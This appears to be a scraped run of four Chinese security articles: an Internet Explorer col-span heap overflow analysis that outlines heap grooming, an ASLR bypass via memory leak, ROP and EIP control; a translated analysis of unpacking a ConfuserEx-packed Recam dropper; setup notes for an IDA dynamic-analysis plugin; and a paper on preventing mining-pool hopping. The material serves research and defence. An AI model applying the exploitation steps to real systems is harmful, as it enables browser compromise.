我们首先看一下POC，我们确定了主要出问题的地方为col元素，通过js的over_trigger重置一些col的span和width元素的属性来触发漏洞
我们可以发现溢出点edi,来自上面的[esi+18h],而esi在函数内没有被操作，肯定来自上一层函数，上层函数从栈回溯中可以看出来是CalculateMinMax这个函数，我们断到这个函数
这个函数CalculateMinMax是处理col中的属性的，这个函数一共会被调用两次，第二次是在调用 js函数
over_trigger()时候,再次处理col中的属性
在第一次调用的时候，我们运行发现一个分配空间的函数，我们看看分配的空间
进去之后可以看到开辟了0x70字节的空间，我们老看看这0x70字节的空间是如何计算出来的
从上面可以看出来是从参数取出的0x1c乘以4然后分配的内存，我们在来看看为什么要分配这个内存
我们看到是在一个比较后才进行的分配的内存，我们分别看看这两个比较的值
我们向上追溯edx的值，可以看到程序的开始处将CTableLayout的对象取出，并取出CTableLayout对象偏移0x54的值，而这个值正式spannum
也就是POC中的span中的值
我们另一个比较数据是从CTableLayout 对象+0x90的位置这个是CImplPtrAry对象，而0x90
CImplPtrAry对象+8的位置是AllocCount（已经申请出来内存的可存放的指针数量），这里一个都没有申请所以去内存分配
我们来看一下申请的内存放到什么位置了，最后CTableLayout 对象+0x9c的位置上，也是CImplPtrAry对象+C的位置上指针数组
由于over_trigger函数更新col属性我们继续断到CalculateMinMax，来继续来看一下，可以看到这次并没有进行堆内存分配，而是在这里进行了跳过，因为ebx+94h,已经在上次分配内存的时候变成了4，而导致比较的时候没有跳过
我们在这里看下在上次分配完内存后，对CTableLayout 对象+0x94的地方进行了把span取出并乘以4，放入ebx+94h
而我们知道我们已经在over_trigger函数中将span的值设置为1000了，我们向下执行，看到了CTableCol::GetAAspan函数来获取span数值，可以看到span数值最大能为1000，
在将span数值拿到后，将进行一个堆空间利用循环1000次每次利用1ch个字节
而这个堆空间正是CTableLayout 对象+0x9c，而这个堆空间只分配了0x70字节的空间，导致溢出。
我们在来看看拷贝的字节拷贝的字节跟width属性有关，是通过CWidthUnitValue::GetPixelWidth这个函数取出的
知道了怎么溢出的，我们看看怎么才可以进行利用，我们先看看整个利用对堆的控制，可以看到先分配250次的100个字节的E和100个字节的A和100个字节的B，最后在后面分配一个Button对象，并将E释放掉，来让分配的占用到这个堆中
我们断到CTableLayout::CalculateMinMax，然后执行到分配内存的地方，我们知道分配的内存在ebx+9C的地方，可以看到整个堆空间的情况
我们看到分配的下面的A和B和B下面的BUTTON对象
之后便对构造的堆进行第一次溢出，这次溢出主要是覆盖到B字符串的大小，这样在覆盖之后，B字符串大小变大，实现内存泄漏，这样就可以读取Button对象的虚函数地址
由于对象的虚函数地址和基地址相差一段固定的距离，所有我们能取得mshtml的基地址，这样我们就可以绕过ASLR
我们在通过基地址构造ROP绕过 DEP
最后通过再一次溢出，覆盖Button的虚函数地址，并实现堆喷，实现控制EIP | 社区文章 |
# Recam终极版：如何一步步脱掉ConfuserEx保护壳（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Holger Unterbrink and Christopher
Marczewski，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[Recam终极版：如何一步步脱掉ConfuserEx保护壳（下）](https://www.anquanke.com/post/id/90174)
> 在本文中，我们介绍了如何解密经过.NET ConfuserEx保护的恶意软件。我们通过Advanced Malware Protection
> （AMP，高级恶意软件防护）感知数据发现了处于活跃期的这款恶意软件。恶意软件借助恶意Word文档来传播，最终会在内存中执行来自Recam恶意软件家族的一个嵌入式载荷（Recam是一款信息窃取恶意软件）。虽然这款恶意软件已活跃数年之久，但出于各种原因，有关该软件内部工作机理的分析文章少之又少。因为恶意软件作者花了许多精力来延缓安全人员对样本的分析研究，使用了包括多层数据加密、字符串混淆、分段置零以及数据缓冲区构造器等技术。这款恶意软件使用了自定义的C2二进制协议，协议本身及相关数据（传输之前）都经过严格加密处理。
## 技术细节
在本篇文章的上部分，将着重介绍释放器部分。
### 释放器
恶意文档使用了常见的恶意软件技术（比如嵌入VB代码）来释放.NET可执行程序。在本文中我们不会介绍这些技术，主要关注的是.NET恶意软件释放器（dropper）的去混淆过程。恶意软件作者使用自定义的[ConfuserEx](https://yck1509.github.io/ConfuserEx/)对释放器做了大量混淆处理（ConfuerEx是一款免费的.NET
Framework混淆工具）。如果我们直接使用类似dnSpy之类的.NET反编译器来读取这个文件，结果并不理想（图1）：
图1
网上有一些免费的反混淆工具可以处理经ConfuserEx保护的程序，然而，这些工具难以解析这款恶意软件。使用这些自动化工具处理后，只能解开其中一部分数据并会中断执行流程，程序中重要的部分仍然保持不变。这意味着我们别无选择，只能手动去混淆，没有捷径可走。网上有些文档介绍了如何手动脱掉ConfuserEx的壳，但我们的运气依然不佳，这些文档不适用于这个版本。
首先，我们使用dnSpy来加载这个程序。我们跳转到`<Module>.
cctor`，在最后一个方法上设置断点（如图2所示）。然后，在调试器中运行这个样本，可以看到样本会解开第一个DLL（即“ykMTM…”，如下图2所示）。
图2
触发断点后，单步跟进这个方法，如图3所示，我们可以看到程序会解开下一阶段载荷（coral）。
图3
分析这阶段载荷后，我们可以在113行的`qMayiwZxj`类上设置另一个断点，如图4所示：
图4
这里会释放下一阶段载荷，我们可以看到新解开的stub.exe的汇编代码（图5）：
图5
如果你之前分析过经过ConfuserEx处理的程序，你会觉得这个画面非常眼熟。事实上，如果你仔细观察，你会发现10082行有一行非常熟悉的代码：`gchandle.free()`。我们可以在这一行上设置断点。在之前版本中，这行语句是解包过程的最后一行语句。
图6
如我们所料，这会解开另一个模块：koi，这也是ConfuerEx中已知的一个模块。
图7
我们离真相已经非常接近，但koi中的类仍然是空的，没有填充任何代码：
图8
我们可以在koi中cctor调用的最后一个方法上设置断点，继续运行样本。
图9
非常好，又解开了一个DLL，不幸的是这个DLL并不重要。我们的Main类以及stub（存根类）中的大多数成员仍然为空。单步跟进后，我们再次回到`<module>`。分析这些方法后，我们可以在第92行设置断点，观察下一阶段的解包过程（图10）。
图10
如果我们观察这些类的stub，就可以看到各种代码。我们可以在`stub.Run()`上设置断点，观察这个恶意软件加载器除了解包过程以外的真正功能。
图11
可以看到，恶意软件试图规避某些反病毒软件，从资源区中读取几个配置参数。未解包之前的配置信息如图12所示，恶意软件将配置信息加密后隐藏在资源区中。
图12
恶意软件会检查当前运行路径是否与配置信息中的Startup目录相匹配（如`%AppData%mozilla
firefoxfirefox`），如果不匹配，则会将自己复制到Startup目录中，然后通过`cmd.exe`来启动。这意味着我们需要停止调试，从`%AppData%mozilla
firefoxfirefox`目录中将`firefox.exe`载入dnSpy，然后再次跟进解包过程，直到到达目前位置。
图13
现在我们已进入正确的代码分支（即“从Startup目录执行”条件分支）。从这里开始整个流程变得更加有趣。首先恶意软件会先完成本地持久化任务。如下所示，恶意软件会向`%AppFolder%`目录中写入一个`Update.txt`文件，文件内容如下：
C:UsersdexAppDataRoamingmozilla firefoxfirefox.exe
exit
图14
图15
随后，恶意软件会在`cmd.exe`中执行`reg add`命令，将该文件添加到自启动表项中，确保主机启动时会执行`firefox.exe`文件。
图16a
图16b
恶意软件会根据配置信息执行其他一些命令，然后从MainFile区加载并解压经过LZMA压缩的一个恶意软件载荷文件（即Recam）。经过实时修复后，恶意软件会加载`RunPEDLL.dll`，尝试将载荷文件注入用户浏览器进程中。如果注入失败（比如浏览器没有运行），则会将文件注入到自身进程中（firefox.exe）。不论哪种情况，恶意软件都会使用`RunPE.Run()`方法来完成这个过程。
图17
到这里为止，恶意软件释放器的任务已完成，由Recam程序接管攻击流程。
## 恶意载荷
请持续关注，文章下部分将在近期发布。
## `` | 社区文章 |
### 摘要
使用IDA在进行静态逆向的过程中常常会出现一些问题。由于程序中的某些值是在运行时计算的，所以这使得分析人员很难理解某些模块的具体工作。在分析恶意软件的过程中，由于它通常在检测的过程中会出现数据的变化，所以这也给分析增加了难度。于是思科Talos采用新的IDA插件作为动态数据解析器（DDR），旨在简化恶意软件的逆向难度。
### 工具特征
**代码流跟踪**
（显示执行了大约20种不同颜色的基本块的执行次数）：
**可搜索的API调用日志：**
（包括所有出现的指令，如call、jxx、API地址等）
**可搜索的字符串记录：**
**解析动态值和自动评论部分：**
### 技术细节
#### 结构与使用方法
DDR具有下图所示的客户端/服务器架构。`.DDR IDA`插件和`DDR服务器`均是用Python脚本编写的。
`DynamoRIO`客户端是用C编写的DLL，并由`DynamoRIO`工具调用`drrun.exe`执行。
此DLL使用检测技术在运行时用于分析和监视恶意软件。通常，所有进程都通过插件进行控制。
完成DynamoRIO客户端的后端分析后，其结果将发送回插件。我们选择JSON作为此数据的格式，以便用户可以轻松地读取和解析第三方Python脚本。
从理论上讲，用户可以在同一台PC上运行插件和服务器，但就恶意软件样本的执行情况而言，强烈建议在单独的计算机上执行此操作。
在大多数情况下，我们可以按照下面所述的插件安装，从IDA中的`DDR
/Trace`菜单开始分析，如果我们想在无Python环境的系统中执行此恶意软件并进行分析，那么插件会返回不支持，所以我们需要进行手动分析操作。DLL可以在命令行上执行，
根据示例的体系结构，语法为：
<DYNRIO_DIR>\bin<ARCH>\drrun.exe -c "<PATH_TO_DLL>\ddr<ARCH>.dll" -s <START_ADDR> -e <END_ADDR> -c <NUM_INSTR_TO_EXECUTE> -f "<JSON_FILE_TO_LOG_TO>" -- <MALWARE-SAMPLE>
e.g.
C:\DYNRIO_DIR\bin64\drrun.exe -c "C:\ddr\ddr64.dll" -s 0x140001000 -e 0x140002200 -c 10000 -f "C:\ddrlog\sample_log64.json" -- sample64.exe
C:\DYNRIO_DIR\bin32\drrun.exe -c "C:\ddr\ddr32.dll" -s 0x00401000 -e 0x00402000 -c 10000 -f "C:\ddrlog\sample_log32.json" -- sample32.exe
分析完成后需要加载`<JSON_FILE_TO_LOG_TO>`，例如：通过IDA中的`File/Load文件/Load DynRio
File`菜单加载`sample_log32.json`。
但同样，我们没有必要这么做。 DDR中的所有功能都可通过IDAs反汇编视图中的右键单击上下文菜单进行访问。
在运行DDR功能之前，用户需要先分析样本或手动加载JSON文件，如上所述。 如果用户不想进行手动分析过程，DDR会提供多种不同的选项来运行分析。
它们都可以通过图6中所示的Trace菜单访问。
在动态分析的过程中，系统会收集更多的运行时信息。它在执行的时候会消耗更多的内容并且需要更多的执行时间。追踪过程仅执行代码覆盖的，也就是说它在运行时执行一些指令来获取相关指令流的一些基本信息，如：call，jmp，ret等。这意味着如果需要记录尽可能多的指令，通常需要选择追踪轨迹，以便概览样本正在执行的操作。例如，根据执行的次数突出显示尽可能多的基本块，或者获取样本触及的API调用的概述。用户可以通过“配置或设置记录指令数”菜单将要记录的指令数设置为较高值。对于普通的PC，我们可以将数量设置为200.000（默认值为20.000）。倘若用户对样本起始处感兴趣（例如“为段程序进行完整的跟踪”）或者用户分析某个基本的程序块（例如加密例程），用户需要查阅详细的说明以及操作手册。用户需要将`DDR_plugin.py`脚本中的`MAX_API_TIMEOUT`设置为更高的值，并且控制分析时间不超过30秒。对于那些更为复杂的程序，用户可以使用上述内容进行手动分析。
请记住，所有DDR功能都使用我们运行的最后一个跟踪JSON文件。
例如，如果我们刚刚运行了一个程序并尝试通过“获取源操作数的值”来解析寄存器值，那么我们可能找不到任何数据（除非它是我们所提到的控制流指令之一，如调用
，jmp等）。 当我们第一次使用DDR时，我们需要查看生成的JSON文件，用以了解不同情况下的生成数据。
跟踪在样本所在的目录中的缓存，我们发现完整路径也可以在IDA日志窗口中找到。
这意味着，如果需要记录当前未加载的JSON文件中的信息，我们可以再次选择正确的跟踪菜单选项，并加载缓存的文件。
加载和解析文件通常不会花费太多，因此我们可以快速跳转到不同的分析地址，从而无需重新运行它们。
这也意味着，如果我们确实要重新进行某些分析，则必须通过“跟踪”菜单来删除所有缓存/保存的文件，或者从samples目录中手动删除相应的文件。
#### 声明
Talos正在发布alpha版本，其中可能包含一些bug，不过其会在未来被修复。尽管如此，我们希望这是一个有用的工具，并在社区分享。
#### 安装手册
该插件是针对Windows x64上的IDA7.2版本构建的，但也可能适用于7.1。
首先，在此处下载DDR存储库。
安装Python模块与DynamoRIO框架。详细信息可在下面的附录中找到。
接下来要做的是根据本地设置在“`DDR_server.py`”脚本中配置变量。此外，请确保本地防火墙不会阻止插件和服务器之间的通信。如果启动DDR_server.py脚本并且找不到现有证书文件，它将生成自签名证书与密钥对以及API密钥文件，并将它们写入存储在<confdir>变量中的`DDR_server.py`脚本。我们可以使用此证书，也可以将自己的证书和密钥文件放在此目录中。然后你需要复制证书文件，例如。
“`ddr_server.crt`”，分析器（`IDA /
DDR_plugin.py`）并将`DDR_plugin.py`中的`CA_CERT变量`指向它。之后我们可以自行设置API密钥和其他变量。下面是主要变量：</confdir>
**DDR_plugin.py**
运行主机`ddr_server.py`的IP地址：
`WEBSERVER = "192.168.100.122"`
DDRserver.py运行的TCP端口：
`WEBSERVER_PORT = "5000"`
API密钥，检查ddr_server.py启动消息以及jrdd_get.py脚本生成。
`DDR_WEBAPI_KEY = "KT5LUFCHHSO12986OPZTWEFS"`
本地目录用于查找由DDR_server.py脚本生成的证书或手动创建的证书（用于SSL连接）。 不要忘记将证书文件复制到此位置。
`CA_CERT = r"C:\Users\User Name\Documents\idaplugin\ddr_server.crt"`
验证证书。 将此设置为False是不安全的，在测试时进行操作即可。
`VERIFY_CERT = True`
`ddr_server.py`机器上的目录。 服务器上的本地目录，服务器脚本可以在其中找到要分析的样本。 确保它存在以及用户已将样本复制到其中。
该插件的未来版本将自动复制该文件。
`SERVER_LOCAL_SAMPLE_DIR = r"C:\Users\User Name\Documents\DDR_samples"`
第一次启动时生成自签名证书的参数和本地网络设置
CERT_FILE = "ddr_server.crt"
KEY_FILE = "ddr_server.key"
APIKEY_FILE = "ddr_apikey.txt"
MY_IPADDR = "192.168.100.122" # Malware Host IP addr
MY_PORT = "5000"
MY_FQDN = "malwarehost.local" # Malware host FQDN
用于保存与加载配置文件的目录 API密钥文件，证书文件等。
`CONFDIR = r"C:\malware\tools\DDR_Talos\IDAplugin"`
找到`x32/x64 ddrun.exe`和相应的`DynRIO`客户端`DDR.dll`。
CFG_DYNRIO_DRRUN_X32 = r"C:\tools\DynamoRIO-Windows-7.0.0-RC1\bin32\drrun.exe
CFG_DYNRIO_CLIENTDLL_X32 = r"C:\malware\tools\DDR_Talos\IDAplugin\ddr32.dll"
CFG_DYNRIO_DRRUN_X64 = r"C:\tools\DynamoRIO-Windows-7.0.0-RC1\bin64\drrun.exe"
CFG_DYNRIO_CLIENTDLL_X64 = r"C:\malware\tools\DDR_Talos\IDAplugin\ddr64.dll
#### 警告信息
确保我们正在配置的目录是存在的。 如果它们不存在，则alpha版本将不会创建目录。 该程序将只显示一条错误消息。
此外，您必须首先将计划在IDA中分析的恶意软件样本复制到`DDR_plugin.py`脚本中`SERVER_LOCAL_SAMPLE_DIR`变量中配置的目录。
这将在下一版本中自动完成。
#### 附录
**Python Requirements**
* Python27-x64
**ddr_plugin.py/IDA machine (Analyst PC):**
* 访问
(<http://docs.python-requests.org>)
`C:\python27-x64\Scripts>pip install -U requests`
如果使用多个Python版本，请确保为IDA相同版本安装这些软件包。
**ddr_server.py的系统需求 (Malware host):**
* Flask
(<http://flask.pocoo.org/>)
* PyOpenSSL
(<https://pyopenssl.org/en/stable/>)
e.g.
pip install -U Flask
pip install -U pyOpenSSL
其他需求
**ddr_server.py machine (Malware host):**
* DynamoRIO Framework (<https://www.dynamorio.org/>)
只需使用DynamoRIO主页上的二进制安装程序即可。
**测试环境：**
**ddr_plugin.py/IDA (Analyst PC - Windows 10 64bit):**
IDA Version 7.2.181105 Windows x64
C:\Python27-x64\Scripts\pip.exe freeze
certifi==2017.7.27.1
chardet==3.0.4
first-plugin-ida==0.1.1
idna==2.6
requests==2.18.4
requests-kerberos==0.11.0
urllib3==1.22
winkerberos==0.7.0
yara==1.7.7
**ddr_server.py machine(Malware host - Windows 7 64 bit):**
C:\Python27-x64\Scripts\pip.exe freeze
asn1crypto==0.24.0
certifi==2018.11.29
cffi==1.11.5
chardet==3.0.4
Click==7.0
cryptography==2.4.2
enum34==1.1.6
Flask==1.0.2
idna==2.7
ipaddress==1.0.22
itsdangerous==1.1.0
Jinja2==2.10
MarkupSafe==1.1.0
pycparser==2.19
pyOpenSSL==18.0.0
requests==2.20.1
six==1.11.0
urllib3==1.24.1
Werkzeug==0.14.1
yara-python==3.6.3
**DynamoRIO安装：**
DynamoRIO Version: 7.0.0-RC1
安装目录: C:\tools\DynamoRIO-Windows-7.0.0-RC1
本文为翻译稿件，原文：https://blog.talosintelligence.com/2019/01/ddr.html | 社区文章 |
# 基于智能合约的区块链跳池攻击预防方案
|
##### 译文声明
本文是翻译文章，文章原作者 xilesou，文章来源：mdpi.xilesou.top
原文地址：<https://www.mdpi.xilesou.top/2073-8994/11/7/941/pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Pool Hopping attack
跳池攻击（Pool Hopping
attack）是矿工在提供财务奖励较少时离开矿池，而在采矿产生更高奖励时又加入的结果。这种离开和重新加入矿池的行为会让矿工得到比他们贡献的计算能力更多的回报。
离开矿池的矿工夺走了了矿池的集体哈希能力，这使矿池无法成功挖掘该区块，从而导致其竞争对手在其完成之前就挖掘了该块。现有很多池跳防御措施和检测策略，但是它们没有提供任何强大的预防性解决方案来阻止矿工离开矿池。本文为了防止跳池攻击，提出了一种基于智能合约的跳池攻击预防模型。
主要目标是通过要求所有矿工不断贡献其计算能力来成功开采一区块，从而保持矿工之间的平等关系。实施了一个分类帐本以矿工证书的形式包含所有矿工的记录，该记录跟踪矿工先前行为的历史。该证书使资产池管理者可以更好地启动智能合约的条款，从而保护现有矿池成员的利益。该模型可防止频繁的跳池，他们以代管的形式提交币，如果在完成区块开采之前放弃矿池，就有可能失去资产。
## 0x02 Mining Pool
本文介绍了每个跳池攻击预防解决方案都必须解决的关键关键因素，并与现有解决方案进行了比较分析。在矿池中，如果挖掘成功，则池中的矿工将根据特定标准分享采矿奖励。包括每股收益（PPS），最后n股收益（PPLNS），和可预测收益。作为共享奖励的标准，可预测的单独采矿（PSM）是每个池采用不同规则和规定的地方。这样的矿池占比特币总挖矿率的65.8％，以太坊总挖矿率的76.9％，极大地影响了区块链的维护。
有多种针对采矿池的攻击，称为跳池，扣块攻击（BWH）和扣块后分叉（FAW）攻击。在这些攻击中，原则上已知的跳池攻击对区块链矿池是致命的。当矿工跨越不同的矿池时，会发生跳池攻击，并且仅当池的预期收入较高时才参与，而当预测收入较低时则退出。即使离开或加入矿池后，这些恶意矿工仍然可以得到奖励，这使诚实的矿工处于不断参与矿池的劣势。如果不对跳池攻击进行检查，则没有理由让诚实的矿工留在池中。因此，如果每个人都进行频繁的跳池，那么只有少数矿工会留下来，诚实的矿工会赔钱并离开区块链矿池。如果仅剩下几个矿工，他们将不会参与挖掘区块，因为个体采矿需要非常高的计算资源，而这是许多人负担不起的。如果剩下的矿工很少，那么他们将无法保证区块链的完整性，并使维护区块链变得难以管理。因此，必须防止跳池攻击以维护区块链网络。
现有的研究提出了使用基于返回事务处理的去匿名化技术，基于时间和基于信誉的检测方法以及旨在仅检测攻击的矿池反抗措施。跳池的检测不仅是主要要求，而且对于防止将来发生跳池也很重要。本文提出的系统介绍了
**Hop_Count** 和作为托管提交的代币的概念。 **Hop_Count**
是矿工离开采矿池时增加的数字，它确定必须作为托管提交多少枚代币。该矿工将代币作为托管方提交，当他们放弃采矿池时将被剥夺它们。换句话说，存放在第三方托管中的代币用作存款，并要求矿工仅留在一个矿池中，以免损失所存放的钱。
## 0x03 Key Considerations
有效的跳池预防措施必须考虑三个关键因素。它们是计算能力，安全性和问责制。所确定的关键考虑因素的重要性如下：
**•计算能力：**
矿工需要一定数量的计算能力才能解决密码难题，才能成功挖掘区块。为了增加成功的机会，他们与其他矿工一起集体开采。如果一个矿工或一组矿工放弃矿池，则集体计算能力将大大降低。矿池与其他矿池竞争，以首先挖掘区块。第一个成功获得区块的人将获得奖励。因此，计算能力的下降危及首先解决挖掘难题的主要目标。
**•矿工风险：**
矿池面临变化的哈希能力，并且挖掘区块存在延迟（即，挖掘所需时间超过挖掘区块所需的平均时间）。重要的是要确保加入矿池的新矿工将来不会有风险。记录有放弃矿池并稍后再加入矿池的矿工要么不被允许加入矿池，要么被要求同意防止他们离开矿池的条款。矿池管理者必须能够确定允许矿工加入挖矿网络的风险因素[21]。
**•问责制：**
需要为每位放弃矿池的矿工制定一种问责措施，以为其个人经济增长获得更大的经济回报。这种考虑的需要是作为一种预防方法，以确保离开矿池的矿工受到处罚，并且在此类事件期间，矿池中现有的矿工会得到充分而均匀的回报。
根据对上述研究的分析，当前没有现有预防措施来预防矿工过早地离开矿池。虽然他们可以成功地检测到跳池或提供防跳池解决方案，但没有建议的方法来阻止它们重复相同的行为。
## 0x04 Prevention Model
基于智能合约的预防模型对跳池的矿工施加了严厉的惩罚，如果矿工在解决区块难题之前离开了矿池，则会给矿池带来经济利益。
矿工恶意利用成功挖掘区块的奖励分配方法，这会减少诚实矿工的收入。为了解决这个问题，提出了一种基于智能合约的池跳池攻击预防模型。模型的好处是：
（1）矿池管理者在允许每个矿工加入矿池之前对其行为进行记录；
（2）它可以防止频繁跳池的矿工，因为矿工要求将代币作为托管提交，如果他们实施跳池攻击，则将被作为惩罚；
（3）给出了一个详细的数值模型，该模型有助于计算每个矿工的确切托管量。
上图所示的预防模型包括以下四个步骤。首先，矿工要求加入矿池。其次，矿池管理者请求矿工提交矿工地址，该地址与由矿池管理者存储在本地数据库中的块地址链接。使用区块地址的矿池管理者从区块链网络中查找矿工证书。第三，如果矿工的跳池数高并且违反了先前的智能合约（即，重复跳池并且违反了以前的智能合约的数量很高），将要求他们同意执行智能合约的条款。他们将代币提交代管，以保护矿池。最后，矿池管理者将根据矿工的行为更新采矿证书并退还或保留提交的代币。
此模型的运行基于矿池管理者拥有的一个分类帐本，该分类帐本使他们可以使用矿工的地址查找矿工的证书。以Ethpool钱包为例，这是一个基于以太坊的区块链钱包，矿工的地址将是他们获得区块奖励的地方。这是他们获得代币的奖励的地址，作为成功挖掘区块或与其他用户进行其他交易的奖励。该矿工的地址对于每个矿工的证书都是唯一的，并且没有两个证书包含相同的矿工地址。
当矿工离开矿池时，矿池管理者将根据矿工的行为结果更新证书。更新后的证书将被提交到区块链网络，并且块地址存储在矿池管理者管理的本地数据库中。矿工的证书包含以下详细信息：矿工的地址，跳池次数，遵守的先前智能合约和违反的先前智能合约。
如果矿工请求加入新的矿池，则矿池管理者要求该矿工提交其地址。矿池管理者使用该地址在本地数据库中查找哈希值到包含区块链网络上矿工证书的块。根据矿工证书的详细信息，矿池管理者将签发新的智能合约。如果该矿工是加密货币网络中的新矿工，并希望加入采矿池，则他们在完成挖掘过程或放弃挖掘过程后将获得新证书。矿池管理者将更新证书并将其作为交易提交到区块链网络上。包含矿工证书的区块地址存储在与矿工地址链接的本地数据库中。这样可确保没有其他实体可以修改矿工证书的详细信息。
矿池管理者可以允许经常跳池的矿工加入其矿池网络，但是基于以下条件：矿工同意接受智能合约的条款，在那里他们将代币提交代管。合同要求矿工必须留在矿池网络中，直到不挖掘该区块为止。成功挖掘该区块后，所提交的代币将退还给矿工，包括挖掘矿池的奖励。如果矿工不履行合约，他们将失去所有代币。然后将代币分发给网络中所有现有的矿工。
## 0x05 Methodological Flow
提出的模型的方法流程包括三个单独的模块，并解决了三个主要问题。这些模块包括：
（1）评估，定义矿池管理者如何评估矿工对采矿池的风险；
（2）项，指定要为矿工计算的代管值；
（3）更新，其指定方法如下图所示，基于两个不同的场景来修改矿工证书。在建议的模型中，分类帐本由矿池管理者维护，并且只能由矿池管理者访问，以通过读/写访问来访问矿工证书。矿池管理者根据矿工提供的矿工地址访问矿工的详细信息。
矿工证书包含以下详细信息：
**•矿工地址：**
此地址基于将被识别为属于矿工的证书。每个证书都绑定到一个矿工地址，并且一个矿工地址不能与第二个证书关联。这样可以确保串行池跳频矿工无法通过矿池管理者请求新证书来掩盖其恶意行为。
**•Hop_Count：**
跳池计数显示矿工在其整个历史中跳越采矿池的次数。这是基于信誉的计数，矿池管理者会对其进行更新以反映矿工的行为。如果矿工跳池，则计数增加一，并且如果矿工在挖掘过程完成之前不离开池，则
**Hop_Count** 将减少一。如果矿工没有 **Hop_Count** （即为零），则在挖矿过程完成后，计数将保持为零。
**•维护智能合约（SCupheld）：**
这显示矿工已履行与先前矿池管理者签署的智能合约的次数。如果履行的合约数量很多，那么当前的矿池管理者将把托管量保持在较低水平，因为矿工看起来值得信赖。
**•违反智能合约（SCviolated）：** 这显示矿工通过跳池而违反智能合约的次数。如果计数很高，那么矿池管理者可以增加托管量以维护采矿池的利益。
## 0x06 Three Modules
### A、评估
如下图所示，当矿工请求加入矿池时，矿池管理者需要评估允许该矿工加入的风险因素。经理将确定矿工的信任度，使其在挖掘过程中一直保留到块采矿完成为止。
该模块基于三步过程，具体过程如下：
**1.矿工要求：**
矿工将请求矿池管理者加入网络。如果该矿工具有过去的采矿记录，则它将具有预先颁发的矿工证书，该证书将显示该矿工的过去行为。但是，如果该矿工是首次挖掘，则矿池管理者将颁发新的矿工证书。矿池管理者将要求矿工提交其矿工地址，以便从分类账中找到矿工的证书。该分类帐由矿池管理者本地存储在数据库中。每个矿工证书对于每个矿工的地址都是唯一的。对矿工地址的请求不会侵犯矿工的隐私，因为该地址对于矿工成功地挖掘区块获得奖励至关重要。
**2.检查矿工证书：**
矿池管理者使用矿工的地址访问存储在本地数据库中的分类帐本，以查找块地址。矿池管理者使用块地址查找作为数据存储在区块链网络上的矿工证书，将主要检查矿工的
**Hop_Count** ，先前的 **SCupheld** 的计数和 **SCviolated** 的计数。矿池管理者根据 **Hop_Count**
的值决定矿工是否加入，并根据 **SCviolated** 确定矿工是否安全或对整个采矿矿场构成风险。
**3.评估矿工风险：** 矿池管理者将评估矿工是否对矿场构成风险，查两个元素的计数，即 **Hop_Count** (α)和 **SCviolated**
(β)。如果值α和β均为零，则将矿工评估为安全矿工并加入矿池。但是，如果矿工证书显示的α和β等于或大于1，则将矿工视为对矿池的风险。矿工风险使用 **M**
rsk =α+β 计算。
矿工风险由 **M**
rsk表示，并基于两个条件进行评估：（1）矿工安全，并且（2）矿工对矿池构成的风险。提出了两个不同的案例研究来解释这两种情况。为了满足第一个条件，假设该矿工是第一次加入矿池。
α和β值假定为零， **M** rsk计算为零。矿工可以安全地加入矿池。为了满足第二个条件，假设矿工以前至少一次放弃了矿池。 α和β值为1。因此，
**M** rsk计算为2。该矿工被视为对矿池的高风险。
### B、项
下图所示模块中，为矿工确定了智能合约的条款，由于高 **Hop_Count**
值，该矿工被视为对矿池的风险。要求矿工将代币提交代管，如果矿工在未完成区块挖掘的情况下离开矿池，则这是执行罚款的一种手段。托管是智能合约中满足条款的条件。代币被存储在智能合约数字协议中，以此作为保护矿池现有成员利益的安全措施。如果提早离开矿池，矿工可能会丢失代币。
该模块基于三步过程，具体过程如下：
**1.矿工风险：** 矿工的 **Hop_Count**
被确定为等于或大于1，因此对矿池构成风险。矿工表现出的行为可能会在不适合他们的情况下跳池，并在高回报时返回。矿池管理者将签发一份智能合约，矿工必须根据该合约同意一系列条款才能加入。
**2.智能合约条款：** 矿池与新矿工之间的智能合约的主要要求是需要代管。为了提供针对跳池攻击的可靠防御措施，具有高 **Hop_Count**
值的矿工必须在智能合约中提交一定数量的代币。丢掉代币的风险对矿工跳槽或放弃矿池是一个惩罚措施。矿池管理者将观察矿工维护和破坏的先前智能合约的数量。先前已兑现的智能合约的数量表明，即使该矿工的
**Hop_Count** 记录很高，它们在最近的矿池中行为也是值得信赖的矿工行为。
**3.确定托管值：** 矿池与新矿工之间的智能合约的主要要求是需要代管。矿工提交代币作为保证金，如果矿工放弃矿池，他们将在代管中没收这些硬币。
**Hop_Count** 和 **SCviolated** 值等于或大于1的矿工需要提交代币作为托管， **SCviovio**
的值不能低于1。如果矿工一次放弃矿池，则要求他们至少提交一个代管代币。托管值使用以下公式 **Es_dep** =α+β-µ 计算。
托管值由 **Es_dep** 表示，它基于以下三个条件：
（1）矿工将零代币作为托管，定义为 **M** rsk = 0
（2）高风险矿工的托管量为两个或更多，定义为因为Mrsk为2或以上，
（3）该矿工为低风险矿工，需要支付一枚代管代币，定义为 **M** rsk = 1。
为了满足第一个条件，该矿工首次加入了采矿池，其 **Hop_Count** (α)， **SCviovio** (β)和 **SCupheld**
(µ)为零。
在第二种情况下，假设矿工先前已经放弃过矿池。 **Hop_Count** (α)， **SCviovio** (β)均为1， **SCupheld**
(µ)为零。 **M** rsk被计算为2，并且该矿工被评估为高风险矿工，确定矿工需要支付的代管量，即两个代币。
为了满足第三个条件，假设α的值为0，β为1，μ为1。 **M**
rsk被计算为低风险矿工。从数学上讲矿工无需支付任何硬币。但是在模型中，作为条件，如果矿工仅一次放弃矿池，则β的值始终保持为1或大于1。因此矿工需要作为代管支付一枚硬币。
### C、更新
一旦矿工加入采矿池，如下图所示，他们通常会在区块挖掘完成后离开。但是，矿工可能会提早离开并发起跳池攻击。矿池管理员将根据矿工的行为更新矿工证书。在此模块中，发布的智能合约将确定是否满足约定的条件。如果挖掘了该区块，那么矿工将收到他们在代管中提交的硬币，新的矿工证书将显示
**Hop_count** 值减少一。如果矿工在挖掘出该区块之前离开，他们将丢失所有存放在托管中的硬币，并且它们的 **Hop_count** 值将增加一。
该模块基于三步过程，具体过程如下：
**1.挖掘：**
同意智能合约条款的矿工加入并成为矿池的成员。矿工将继续挖掘该块，并成为矿池采用的奖励分享系统的一部分。成功完成采矿后，所有矿工都会获得奖励，以解决区块的密码难题。
**2.挖掘完成：**
